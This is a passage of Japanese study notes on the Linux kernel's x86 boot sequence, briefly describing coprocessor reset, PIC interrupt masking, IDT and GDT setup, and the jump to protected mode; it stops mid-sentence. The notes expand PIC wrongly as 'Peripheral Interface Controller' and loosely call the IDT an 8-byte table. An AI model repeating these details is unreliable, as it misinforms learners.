I/OポートのFPU部分(この関数では0xf0, 0xf1)に0を出力する.

 

===== reset_coprocessor ここまで =====

 
mask_all_interrrupts()

PICでの割り込みを無効にする.PICはPeripheral Interface Controllerの略.I/Oポート0x21,0xa1はそれぞれpic1,pic2のポート.

 

===== mask_all_interrupts ここまで =====

 
setup_idt 

IDTをセットアップする.IDT(Interrupt Descriptor Table)は割り込みと割り込みハンドラを結びつける8バイトのテーブル.

===== setup_idt ここまで =====

setup_gdt

GDTをセットアップする.GDT(Global Descriptor Table)はCPUにメモリセグメントを伝えるために使われるテーブル.

===== setup_gdt ここまで =====

protected_mode_jump(u32 entrypoint, u32 bootparams) 

実際にプロテクトモードへジャンプする関数.ソースはpmjump.Sに記述されている.呼ばれる時には,

protected_mode_jump(boot_params.hdr.code32_start, (u32)&boot_params + (ds() << 4